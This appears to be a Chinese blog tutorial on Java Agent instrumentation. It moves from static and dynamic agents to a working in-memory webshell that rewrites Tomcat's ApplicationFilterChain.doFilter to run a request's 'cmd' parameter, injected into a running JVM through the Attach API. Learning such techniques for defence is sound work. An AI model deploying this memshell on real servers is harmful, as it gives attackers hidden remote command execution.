Java Agent内存马

Java Agent内存马

跟着b站小菜鸡学web走一遍,还是挺复杂的。

jdk9以后没有tools.jar,方式会不一样。

Java Agent既能整内存马,也能整RASP动态防御。

默认有java基础,Javassist,Jsp,JavaEE都会一点

注意:如果不小心注错了jvm进程,导致奇怪的问题,可以重装一下idea。

本篇有一定难度。

0. 环境准备

Idea2024.1.2 专业版(应该不影响)

jdk 1.8.0_181 (jdk选1.8系列)

tomcat 8.5.82(应该不影响)

1. 一些概念

1. Java Agent

​ 在Java中,Agent是一种可以在Java应用程序运行时修改或监视类和字节码的工具。

​ Java agent本质上可以理解为一个插件,该插件就是一个精心提供的jar包。只是启动方式和普通Jar包有所不同,对于普通的Jar包,通过指定类的main函数进行启动。但是Java Agent并不能单独启动,必须依附在一个Java应用程序运行,在面向切面编程方面应用比较广泛。

​ Java agent 的jar包通过JVMTI(JVM Tool Interface)完成加载,最终借助JPLISAgent(Java Programming Language Instrumentation Services Agent)完成对目标代码的修改。主要功能如下:

  • 可以在加载java文件之前做拦截把字节码做修改
  • 可以在运行期将已经加载的类的字节码做变更

Java Agent 有两种加载方式:

  • premain: 在 JVM 启动时通过 -javaagent 参数指定,在 main 方法执行之前加载。(静态Agent加载
  • agentmain: 在 JVM 启动后,通过 Attach API 动态连接到目标 JVM 进行加载。(动态Agent加载

核心概念:

  • Instrumentation: java.lang.instrument.Instrumentation 接口提供了操作类定义的方法,例如 redefineClasses、addTransformer 等。

  • ClassFileTransformer: java.lang.instrument.ClassFileTransformer 接口定义了 transform 方法,用于转换类文件字节码。Agent 通过实现该接口来修改类的字节码。

  • MANIFEST.MF: Agent JAR 包的清单文件,需要指定 Premain-Class 或 Agent-Class 属性,以告诉 JVM Agent 的入口类。

    其他可选属性包括:Can-Redefine-Classes、Can-Retransform-Classes 等,用于声明 Agent 的能力。

2. Instrumentation API

java.lang.instrument包括以下关键类和接口:

ClassDefinition:此接口提供了用于实施字节码转换和获取对象的相关信息的方法。
ClassFileTransformer:其中的方法 transform 允许我们在类加载到JVM之前对其进行转换。
Instrumentation:提供了大多数代理功能的主接口。
UnmodifiableClassException:这是一个异常,会在尝试修改或重定义它的状态时,由Instrumentation.retransformClasses方法和Instrumentation.redefineClasses方法抛出。

Instrumentation接口及其方法

addTransformer(ClassFileTransformer transformer, boolean canRetransform): 添加一个类文件转换器。
removeTransformer(ClassFileTransformer transformer): 移除一个类文件转换器。
redefineClasses(ClassDefinition... definitions): 重新定义类。
retransformClasses(Class<?>... classes): 改变已经加载到JVM的类。
getObjectSize(Object objectToSize): 返回对象的大小(以字节为单位)。

ClassFileTransformer接口

transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer): 这个方法会在类被加载到JVM之前被调用,它可以修改类的字节码。

通常,使用 Instrumentation API 可以在不重新启动应用程序的情况下修改类的字节码,并在运行时监控和测量应用程序的性能。它还可以用于创建 Java Agent,这是一种在 Java 程序启动时通过命令行参数指定的程序,可以替代或修改类的字节码。

3. VirtualMachine

VirtualMachine是Java提供的一种用于动态加载Java类的机制,是Java虚拟机的一部分,可以通过它在运行时加载和执行Java类。VirtualMachine接口定义了一些用于在虚拟机内部操作的方法,包括加载类、执行方法、获取类信息和设置虚拟机属性等。

VirtualMachine常用的接口有:
    attach(String id):连接到具有指定IDJava虚拟机。
    detach():从Java虚拟机断开连接。
    loadAgent(String agent):将指定的Java Agent加载到Java虚拟机中。
    loadAgentLibrary(String agentLibrary):将指定的库加载到Java虚拟机中。
    loadAgentPath(String agentPath):将指定的路径加载到Java虚拟机中。
    getSystemProperties():获取Java虚拟机的系统属性。
    getAgentProperties():获取Java Agent的属性。
    getClassPath():获取Java虚拟机的类路径。
    getJvmArgs():获取Java虚拟机的JVM参数。
    getInputArguments():获取Java虚拟机的输入参数。
    getAllThreads():获取Java虚拟机中所有线程的信息。
    getCapabilities():获取Java虚拟机的能力

4. Java中的Attach API

// VirtualMachine等相关Class位于JDK的tools.jar
VirtualMachine vm = VirtualMachine.attach("1234");  
// 1234表示目标JVM进程pid
try {
    vm.loadAgent(agentJarFilePath, agentArgs);   
    // agentJarFilePath指定agent的jar包路径,发送给目标进程
    // agentArgs是传递给agentmain方法的参数
} finally {
    // attach 动作的相反的行为,从 JVM 上面解除一个代理
    vm.detach();
}

2. 静态Agent

  1. 首先要在Java Agent类中实现premain方法。

  2. 创建MANIFEST.MF文件(本文在pom.xml中的打包插件处书写``MANIFEST.MF的内容),设置Premain-Class`属性为你的Java Agent类的全名。

  3. 其次,使用pom.xml中的打包插件将你的Java Agent类和MANIFEST.MF文件打包成JAR文件。

  4. 随后,将你的应用程序编译成class或打包成jar。

  5. 最后在应用程序启动命令中指定一些特殊参数,以便 JVM 在启动时加载Agent。(或者可以在idea中的edit configurations中指定VM options

例如:

java -javaagent:/path/to/agent.jar -jar myapp.jar

-javaagent 参数后面跟着代理程序的JAR文件路径。
-jar 参数后面是要运行的主应用程序的JAR文件。

指定了javaagent参数,则先执行agent.jar中的premain方法,再执行myapp.jar中的main方法。

下面通过静态Agent的方式修改AddNumber类中的函数。

静态Agent的pom.xml文件如下:

<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
  <modelVersion>4.0.0</modelVersion>
  <groupId>org.example</groupId>
  <artifactId>maven1</artifactId>
  <packaging>war</packaging>
  <version>1.0-SNAPSHOT</version>
  <name>maven1 Maven Webapp</name>
  <url>http://maven.apache.org</url>
  <dependencies>
    <dependency>
      <groupId>junit</groupId>
      <artifactId>junit</artifactId>
      <version>3.8.1</version>
      <scope>test</scope>
    </dependency>
    <dependency>
      <groupId>org.apache.tomcat</groupId>
      <artifactId>tomcat-catalina</artifactId>
      <version>9.0.55</version>
    </dependency>
    <dependency>
      <groupId>org.javassist</groupId>
      <artifactId>javassist</artifactId>
      <version>3.28.0-GA</version>
    </dependency>
    <dependency>
      <groupId>org.ow2.asm</groupId>
      <artifactId>asm</artifactId>
      <version>9.6</version>
    </dependency>
    <dependency>
      <groupId>asm</groupId>
      <artifactId>asm</artifactId>
      <version>3.3.1</version>
    </dependency>
    <dependency>
      <groupId>com.sun.tools.attach</groupId>
      <artifactId>tools</artifactId>
      <version>1.8.0</version>
      <scope>system</scope>
      <systemPath>C:/Program Files/Java/jdk1.8.0_181/lib/tools.jar</systemPath>
    </dependency>
  </dependencies>

  <!-- Maven构建配置 -->
  <build>
    <!-- 插件列表 -->
    <plugins>
      <!-- 插件配置 -->
      <plugin>
        <!-- 插件的groupId,用于标识插件所属的组织或项目 -->
        <groupId>org.apache.maven.plugins</groupId>
        <!-- 插件的artifactId,用于标识具体的插件 -->
        <artifactId>maven-jar-plugin</artifactId>
        <!-- 插件的版本号 -->
        <version>3.2.0</version>
        <!-- 插件的配置 -->
        <configuration>
          <!-- JAR文件的归档配置 -->
          <archive>
            <!--MANIFEST.MF文件中的条目配置 -->
            <manifestEntries>
              <!-- 指定Java Agent的预主类,这是Java Instrumentation API的一部分,用于在JVM启动时加载Agent -->
              <Premain-Class>com.jk.premain.AgentMain</Premain-Class>
              <!-- 允许Agent重新定义已加载的类 -->
              <Can-Redefine-Classes>true</Can-Redefine-Classes>
              <!-- 允许Agent重新转换已加载的类 -->
              <Can-Retransform-Classes>true</Can-Retransform-Classes>
            </manifestEntries>
          </archive>
        </configuration>
      </plugin>

      <plugin>
        <artifactId>maven-compiler-plugin</artifactId>
        <configuration>
          <source>1.8</source>
          <target>1.8</target>
          <encoding>UTF-8</encoding>
          <compilerArguments>
            <extdirs>libs</extdirs>
            <!--  rt包没有打到项目中去 -->
            <verbose />
            <!-- C:/Program Files/Java/jdk1.8.0_181是我本地安装的jdk家目录,rt.jar等jar 我在 jdk家目录下的 /jre/lib/ 目录中有发现存在,你们需要注意确认自己的实际情况,Windows分隔符英文分号,linux分隔符英文冒号  -->
            <bootclasspath>C:/Program Files/Java/jdk1.8.0_181/jre/lib/rt.jar;C:/Program Files/Java/jdk1.8.0_181/jre/lib/jce.jar;C:/Program Files/Java/jdk1.8.0_181/jre/lib/jsse.jar</bootclasspath>
          </compilerArguments>
        </configuration>
      </plugin>
    </plugins>
  </build>
</project>

AddNumber.java

package com.jk.premain;
import java.util.Date;

public class AddNumber {
    public static void main( String[] args )
    {
        try{
            System.out.println( "main start!" );

            AddNumber test = new AddNumber();
            Date d = new Date();
            System.out.println(d.getTime());
            int x1 = 1;
            int x2 = 2;
            while(true){
                System.out.println(Integer.toString(test.add(x1, x2)));
                Thread.sleep(2000);
            }
        } catch (InterruptedException e) {
            e.printStackTrace();
            System.out.println("main end");
        }

    }

    private int add(int x1, int x2){
        return x1+x2;
    }
}

MyClassTransformer.java

package com.jk.premain;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;

public class MyClassTransformer implements ClassFileTransformer {

    @Override
    public byte[] transform(ClassLoader loader, //这是触发类加载的类加载器
                            String className, //这是正在被加载的类的完全限定名(例如 java/lang/String)。
                            Class<?> classBeingRedefined, //如果这个 transform 调用是因为一个类正在被重新定义(例如,通过 JVMTI 的 RedefineClasses 方法),那么这个参数表示正在被重新定义的类的 Class 对象。
                            ProtectionDomain protectionDomain,
                            byte[] classfileBuffer)
            throws IllegalClassFormatException {
        if (className.equals("com/jk/premain/AddNumber")) {
            try {
                // 从ClassPool获得CtClass对象
                System.out.println("start modify class bytes !!!!!!!!!!!!");
                final ClassPool classPool = ClassPool.getDefault();
                final CtClass clazz = classPool.get("com.jk.premain.AddNumber");
                //System.out.println(clazz);

                //打印App类中的所有成员函数
                CtMethod[] methodList = clazz.getDeclaredMethods();
                for(CtMethod method: methodList){
                    System.out.println("premain method: "+ method.getName());
                }

                // 获取add函数并替换,$1表示函数的第一个入参
                CtMethod convertToAbbr = clazz.getDeclaredMethod("add");
                String methodBody = "{return $1 + $2 + 100;}";
                convertToAbbr.setBody(methodBody);

                // 在add函数体之前增加一段代码,同理也可以在函数尾部添加
                methodBody = "System.out.println(Integer.toString($1));\nSystem.out.println(Integer.toString($2));";
                convertToAbbr.insertBefore(methodBody);

                // 返回字节码,并且detachCtClass对象
                byte[] byteCode = clazz.toBytecode();
                //detach的意思是将内存中曾经被javassist加载过的Date对象移除,如果下次有需要在内存中找不到会重新走javassist加载
                clazz.detach();
                return byteCode;
            } catch (Throwable ex) {
                System.out.println("something wrong??????????");
                System.out.println(ex.getMessage());
                ex.printStackTrace();
            }
        }
        // 如果返回null则字节码不会被修改
        return null;
    }
}

AgentMain.java

package com.jk.premain;
import java.lang.instrument.Instrumentation;

public class AgentMain {
    public static void premain(String agentArgs, Instrumentation ins) {

        ins.addTransformer(new MyClassTransformer(),true);
        //添加一个transformer,当监控的java应用每次加载class的时候都会调用transformer
    }
}

先clean一下,再用插件打包成jar

在这里插入图片描述

在这里插入图片描述

最后在Demo主进程中配置agent启动路径,指向该agent jar包

-javaagent:C:\Users\21609\IdeaProjects\maven1\target\maven1-1.0-SNAPSHOT.jar

在这里插入图片描述

运行一下,成功!

在这里插入图片描述

3. 动态Agent

  1. 首先在Java Agent类中实现agentmain方法。
  2. 修改pom.xml,指定Agent-ClassBoot-Class-Path属性。
  3. 运行右边栏mvn中的package和jar打包插件。
  4. 运行待修改的程序。
  5. 然后运行Maindemo调用Attach API将Java Agent附加到待修改程序运行时的JVM中。(idea中无需指定VM options

命令行获取tomcat PID

wmic process where "commandline like '%tomcat%'" get ProcessId
jps -l

pom.xml

<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
  <modelVersion>4.0.0</modelVersion>
  <groupId>org.example</groupId>
  <artifactId>maven1</artifactId>
  <packaging>war</packaging>
  <version>1.0-SNAPSHOT</version>
  <name>maven1 Maven Webapp</name>
  <url>http://maven.apache.org</url>
  <dependencies>
    <dependency>
      <groupId>junit</groupId>
      <artifactId>junit</artifactId>
      <version>3.8.1</version>
      <scope>test</scope>
    </dependency>
    <dependency>
      <groupId>org.apache.tomcat</groupId>
      <artifactId>tomcat-catalina</artifactId>
      <version>9.0.55</version>
    </dependency>
    <dependency>
      <groupId>org.javassist</groupId>
      <artifactId>javassist</artifactId>
      <version>3.28.0-GA</version>
    </dependency>
    <dependency>
      <groupId>org.ow2.asm</groupId>
      <artifactId>asm</artifactId>
      <version>9.6</version>
    </dependency>
    <dependency>
      <groupId>asm</groupId>
      <artifactId>asm</artifactId>
      <version>3.3.1</version>
    </dependency>
    <dependency>
      <groupId>com.sun.tools.attach</groupId>
      <artifactId>tools</artifactId>
      <version>1.8.0</version>
      <scope>system</scope>
      <systemPath>C:/Program Files/Java/jdk1.8.0_181/lib/tools.jar</systemPath>
    </dependency>
  </dependencies>

  <!-- Maven构建配置 -->
  <build>
    <!-- 插件列表 -->
    <plugins>
      <!-- 插件配置 -->
      <plugin>
        <!-- 插件的groupId,用于标识插件所属的组织或项目 -->
        <groupId>org.apache.maven.plugins</groupId>
        <!-- 插件的artifactId,用于标识具体的插件 -->
        <artifactId>maven-jar-plugin</artifactId>
        <!-- 插件的版本号 -->
        <version>3.2.0</version>
        <!-- 插件的配置 -->
        <configuration>
          <!-- JAR文件的归档配置 -->
          <archive>
            <!--MANIFEST.MF文件中的条目配置 -->
            <manifestEntries>
              <!-- 这行有点奇怪 -->
              <Boot-Class-Path>lib/javassist.jar</Boot-Class-Path>
              <!-- 指定Agent-Class -->
              <Agent-Class>com.jk.agentmain.AgentMain</Agent-Class>
              <!-- 允许Agent重新定义已加载的类 -->
              <Can-Redefine-Classes>true</Can-Redefine-Classes>
              <!-- 允许Agent重新转换已加载的类 -->
              <Can-Retransform-Classes>true</Can-Retransform-Classes>
            </manifestEntries>
          </archive>
        </configuration>
      </plugin>

      <plugin>
        <artifactId>maven-compiler-plugin</artifactId>
        <configuration>
          <source>1.8</source>
          <target>1.8</target>
          <encoding>UTF-8</encoding>
          <compilerArguments>
            <extdirs>libs</extdirs>
            <!--  rt包没有打到项目中去 -->
            <verbose />
            <!-- C:/Program Files/Java/jdk1.8.0_181是我本地安装的jdk家目录,rt.jar等jar 我在 jdk家目录下的 /jre/lib/ 目录中有发现存在,你们需要注意确认自己的实际情况,Windows分隔符英文分号,linux分隔符英文冒号  -->
            <bootclasspath>C:/Program Files/Java/jdk1.8.0_181/jre/lib/rt.jar;C:/Program Files/Java/jdk1.8.0_181/jre/lib/jce.jar;C:/Program Files/Java/jdk1.8.0_181/jre/lib/jsse.jar</bootclasspath>
          </compilerArguments>
        </configuration>
      </plugin>
    </plugins>
  </build>
</project>

AgentMain.java

package com.jk.agentmain;
import java.lang.instrument.Instrumentation;
import java.lang.instrument.UnmodifiableClassException;

public class AgentMain {
    public static void agentmain(String agentArgs, Instrumentation inst) throws UnmodifiableClassException {
        Class[] classes = inst.getAllLoadedClasses();
        // 判断类是否已经加载
        for (Class aClass : classes) {
            if (aClass.getName().equals("com.jk.premain.AddNumber")) {
                System.out.println("EditClassName:" + aClass.getName());
//                System.out.println("EditMethodName:" + "doFilter");
                // 添加 Transformer
                inst.addTransformer(new DefineTransformer(), true);
                // 触发 Transformer
                inst.retransformClasses(aClass);
            }
        }
    }
}

DefineTransformer.java

package com.jk.agentmain;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.lang.instrument.Instrumentation;
import java.security.ProtectionDomain;

public class DefineTransformer implements ClassFileTransformer {

    @Override
    public byte[] transform(ClassLoader loader, //这是触发类加载的类加载器
                            String className, //这是正在被加载的类的完全限定名(例如 java/lang/String)。
                            Class<?> classBeingRedefined, //如果这个 transform 调用是因为一个类正在被重新定义(例如,通过 JVMTI 的 RedefineClasses 方法),那么这个参数表示正在被重新定义的类的 Class 对象。
                            ProtectionDomain protectionDomain,
                            byte[] classfileBuffer)
            throws IllegalClassFormatException {
        if (className.equals("com/jk/premain/AddNumber")) {
            try {
                // 从ClassPool获得CtClass对象
                System.out.println("start modify class bytes !!!!!!!!!!!!");
                final ClassPool classPool = ClassPool.getDefault();
                final CtClass clazz = classPool.get("com.jk.premain.AddNumber");
                System.out.println(clazz);

                //打印App类中的所有成员函数
                CtMethod[] methodList = clazz.getDeclaredMethods();
                for(CtMethod method: methodList){
                    System.out.println("premain method: "+ method.getName());
                }

                // 获取add函数并替换,$1表示函数的第一个入参
                CtMethod convertToAbbr = clazz.getDeclaredMethod("add");
                String methodBody = "{return $1 + $2 + 100;}";
                convertToAbbr.setBody(methodBody);

                // 在add函数体之前增加一段代码,同理也可以在函数尾部添加
                methodBody = "System.out.println(Integer.toString($1));\nSystem.out.println(Integer.toString($2));";
                convertToAbbr.insertBefore(methodBody);

                // 返回字节码,并且detachCtClass对象
                byte[] byteCode = clazz.toBytecode();
                //detach的意思是将内存中曾经被javassist加载过的Date对象移除,如果下次有需要在内存中找不到会重新走javassist加载
                clazz.detach();
                return byteCode;
            } catch (Throwable ex) {
                System.out.println("something wrong??????????");
                System.out.println(ex.getMessage());
                ex.printStackTrace();
            }
        }
        // 如果返回null则字节码不会被修改
        return null;
    }
}

Maindemo.java

这是一个将agent注入到jvm的jar

package com.jk.agentmain;
import com.sun.tools.attach.VirtualMachine;
import com.sun.tools.attach.VirtualMachineDescriptor;
import java.util.List;

public class Maindemo {
    public static void main(String[] args) throws Exception{
        // 生成jar包的绝对路径
        String path = "C:\\Users\\21609\\IdeaProjects\\maven1\\target\\maven1-1.0-SNAPSHOT.jar";
        // 列出已加载的jvm
        List<VirtualMachineDescriptor> list = VirtualMachine.list();
        // 遍历已加载的jvm
        for (VirtualMachineDescriptor v:list){

            // 打印jvm的 displayName 属性
            System.out.println("+++++++++++++++++++++++++");
            System.out.println(v.displayName());
            System.out.println("+++++++++++++++++++++++++");
            // 如果 displayName 为指定的类
            if (v.displayName().contains("premain.AddNumber")){
                // 打印pid
                System.out.println("id >>> " + v.id());
                // 将 jvm 虚拟机的 pid 号传入 attach 来进行远程连接
                VirtualMachine vm = VirtualMachine.attach(v.id());
                // 将我们的 agent.jar 发送给虚拟机
                vm.loadAgent(path);
                // 解除链接
                vm.detach();
            }
        }
    }
}

maven先clean,后package和jar

在这里插入图片描述

先运行AddNumber

在这里插入图片描述

然后运行Maindemo

在这里插入图片描述

可以看到程序运行时被修改了。

在这里插入图片描述

4. Agent内存马

非常容易失败,真要整建议直接冰蝎

注入后,访问localhost:8080/如果白屏,高概率成功

在这里插入图片描述

如果第二次尝试注入时失败,建议操作部分重来一遍。

1. 项目maven1

在这里插入图片描述

pom.xml

<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
  <modelVersion>4.0.0</modelVersion>
  <groupId>org.example</groupId>
  <artifactId>maven1</artifactId>
  <packaging>jar</packaging>
  <version>1.0-SNAPSHOT</version>
  <name>maven1 Maven Webapp</name>
  <url>http://maven.apache.org</url>
  <dependencies>
    <dependency>
      <groupId>junit</groupId>
      <artifactId>junit</artifactId>
      <version>3.8.1</version>
      <scope>test</scope>
    </dependency>
    <dependency>
      <groupId>org.apache.tomcat</groupId>
      <artifactId>tomcat-catalina</artifactId>
      <version>9.0.55</version>
    </dependency>
    <dependency>
      <groupId>org.javassist</groupId>
      <artifactId>javassist</artifactId>
      <version>3.26.0-GA</version>
    </dependency>
    <dependency>
      <groupId>org.ow2.asm</groupId>
      <artifactId>asm</artifactId>
      <version>9.0</version>
    </dependency>
    <dependency>
      <groupId>asm</groupId>
      <artifactId>asm</artifactId>
      <version>3.3.1</version>
    </dependency>
    <dependency>
      <groupId>com.sun.tools.attach</groupId>
      <artifactId>tools</artifactId>
      <version>1.8.0</version>
      <scope>system</scope>
      <systemPath>C:/Program Files/Java/jdk1.8.0_181/lib/tools.jar</systemPath>
    </dependency>
  </dependencies>

  <build>
    <plugins>
      <plugin>
        <groupId>org.apache.maven.plugins</groupId>
        <artifactId>maven-assembly-plugin</artifactId>
        <version>2.6</version>
        <configuration>
          <descriptorRefs>
            <descriptorRef>jar-with-dependencies</descriptorRef>
          </descriptorRefs>
          <archive>
            <manifestFile>
              C:/Users/21609/IdeaProjects/maven1/src/main/resources/META-INF/MANIFEST.MF
            </manifestFile>
          </archive>
        </configuration>
      </plugin>
      <plugin>
        <groupId>org.apache.maven.plugins</groupId>
        <artifactId>maven-compiler-plugin</artifactId>
        <configuration>
          <source>6</source>
          <target>6</target>
        </configuration>
      </plugin>
    </plugins>
  </build>
</project>

C:/Users/21609/IdeaProjects/maven1/src/main/resources/META-INF/MANIFEST.MF

Manifest-Version: 1.0
Can-Redefine-Classes: true
Can-Retransform-Classes: true
Agent-Class: com.jk.agentdemo.AgentMain

AgentMain.java

package com.jk.agentdemo;
import java.lang.instrument.Instrumentation;
import java.lang.instrument.UnmodifiableClassException;
import javassist.*;
public class AgentMain {
    public static void agentmain(String agentArgs, Instrumentation inst) throws UnmodifiableClassException {
        Class [] classes = inst.getAllLoadedClasses();

        //获取目标JVM加载的全部类
        for(Class cls : classes){
            if (cls.getName().equals("org.apache.catalina.core.ApplicationFilterChain")){

                //添加一个transformer到Instrumentation,并重新触发目标类加载
                inst.addTransformer(new memTransformer(),true);
                inst.retransformClasses(cls);
            }
        }
    }
}

Maindemo.java

package com.jk.agentdemo;

import com.sun.tools.attach.VirtualMachine;
import com.sun.tools.attach.VirtualMachineDescriptor;

import java.util.List;

public class Maindemo {
    public static void main(String[] args) throws Exception{
        //调用VirtualMachine.list()获取正在运行的JVM列表
        List<VirtualMachineDescriptor> list = VirtualMachine.list();
        for(VirtualMachineDescriptor vmd : list){
            System.out.println(vmd.displayName());
            //遍历每一个正在运行的JVM,如果JVM名称为Sleep_Hello则连接该JVM并加载特定Agent
            if(vmd.displayName().contains("Springdemo1Application")){

                //连接指定JVM
                VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id());
                //加载Agent
                virtualMachine.loadAgent("C:\\Users\\21609\\IdeaProjects\\maven1\\target\\maven1-1.0-SNAPSHOT-jar-with-dependencies.jar");
                //断开JVM连接
                virtualMachine.detach();
            }

        }
    }
}

memTransformer.java

package com.jk.agentdemo;

import javassist.*;

import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.IOException;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.nio.charset.StandardCharsets;
import java.security.ProtectionDomain;

public class memTransformer implements ClassFileTransformer {
    @Override
    public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
        try {

            //获取CtClass 对象的容器 ClassPool
            ClassPool classPool = ClassPool.getDefault();

            //添加额外的类搜索路径
            if (classBeingRedefined != null) {
                ClassClassPath ccp = new ClassClassPath(classBeingRedefined);
                classPool.insertClassPath(ccp);
            }

            //获取目标类
            CtClass ctClass = classPool.get("org.apache.catalina.core.ApplicationFilterChain");

            //获取目标方法
            CtMethod ctMethod = ctClass.getDeclaredMethod("doFilter");

            //设置方法体  这里谨慎修改
            String body = "{" +
                    "javax.servlet.http.HttpServletRequest request = $1\n;" +
                    "String cmd=request.getParameter(\"cmd\");\n" +
                    "if (cmd !=null){\n" +
                    "  Runtime.getRuntime().exec(cmd);\n" +
                    "  }"+
                    "}";
            ctMethod.setBody(body);

            //返回目标类字节码
            byte[] bytes = ctClass.toBytecode();
            return bytes;

        }catch (Exception e){
            e.printStackTrace();
        }
        return null;
    }
}

2. 项目springdemo1

在这里插入图片描述

pom.xml

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>
    <parent>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-parent</artifactId>
        <version>2.5.6</version>
    </parent>
    <groupId>com.jk</groupId>
    <artifactId>Springdemo1</artifactId>
    <version>0.0.1-SNAPSHOT</version>
    <name>Springdemo1</name>
    <description>Springdemo1</description>
    <url/>
    <licenses>
        <license/>
    </licenses>
    <developers>
        <developer/>
    </developers>
    <scm>
        <connection/>
        <developerConnection/>
        <tag/>
        <url/>
    </scm>
    <properties>
        <java.version>1.8</java.version>
    </properties>
    <dependencies>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-web</artifactId>
        </dependency>

        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-test</artifactId>
            <scope>test</scope>
        </dependency>

        <dependency>
            <groupId>org.apache.tomcat</groupId>
            <artifactId>tomcat-catalina</artifactId>
            <version>9.0.55</version>
        </dependency>
        <dependency>
            <groupId>org.javassist</groupId>
            <artifactId>javassist</artifactId>
            <version>3.28.0-GA</version>
        </dependency>
    </dependencies>

    <build>
        <plugins>
            <plugin>
                <groupId>org.springframework.boot</groupId>
                <artifactId>spring-boot-maven-plugin</artifactId>
            </plugin>
            <plugin>
                <artifactId>maven-assembly-plugin</artifactId>
                <configuration>
                    <archive>
                        <manifest>
                            <mainClass>com.jk.springdemo1.Springdemo1Application</mainClass>
                        </manifest>
                    </archive>
                    <descriptorRefs>
                        <descriptorRef>jar-with-dependencies</descriptorRef>
                    </descriptorRefs>
                </configuration>
                <executions>
                    <execution>
                        <id>make-assembly</id> <!-- this is used for inheritance merges -->
                        <phase>package</phase> <!-- bind to the packaging phase -->
                        <goals>
                            <goal>single</goal>
                        </goals>
                    </execution>
                </executions>
            </plugin>
        </plugins>
    </build>

</project>

hellocontroller.java

package com.jk.springdemo1.Controller;

import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;


@RestController
public class hellocontroller{
    @RequestMapping(value="/",method = RequestMethod.GET)
    public String index(@RequestParam(value="name",required = false,defaultValue = "lihua") String name){
        System.out.println("hello");
        return "HelloWorld,"+name;
    }
}

Springdemo1Application.java

package com.jk.springdemo1;

import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;

@SpringBootApplication
public class Springdemo1Application {

    public static void main(String[] args) {
        SpringApplication.run(Springdemo1Application.class, args);
    }

}

MANIFEST.MF

Manifest-Version: 1.0
Main-Class: com.jk.springdemo1.Springdemo1Application

application.properties

spring.application.name=Springdemo1

3. 操作

项目springdemo1

看图操作,clean后package如果时间很长下次就别clean了。:(流汗

在这里插入图片描述

项目maven1

在这里插入图片描述

浏览器访问一下

在这里插入图片描述

切到Maindemo.java下,修改一下loadAgent路径,然后运行

在这里插入图片描述

浏览器新建标签页,输网址发现成功!

http://localhost:8080/?cmd=calc

在这里插入图片描述

参考

从零学习Agent内存马 小菜鸡学web

S1nJa

Java Agent 内存马学习 Drunkbaby

评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

cllsse

富✌您吉祥

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值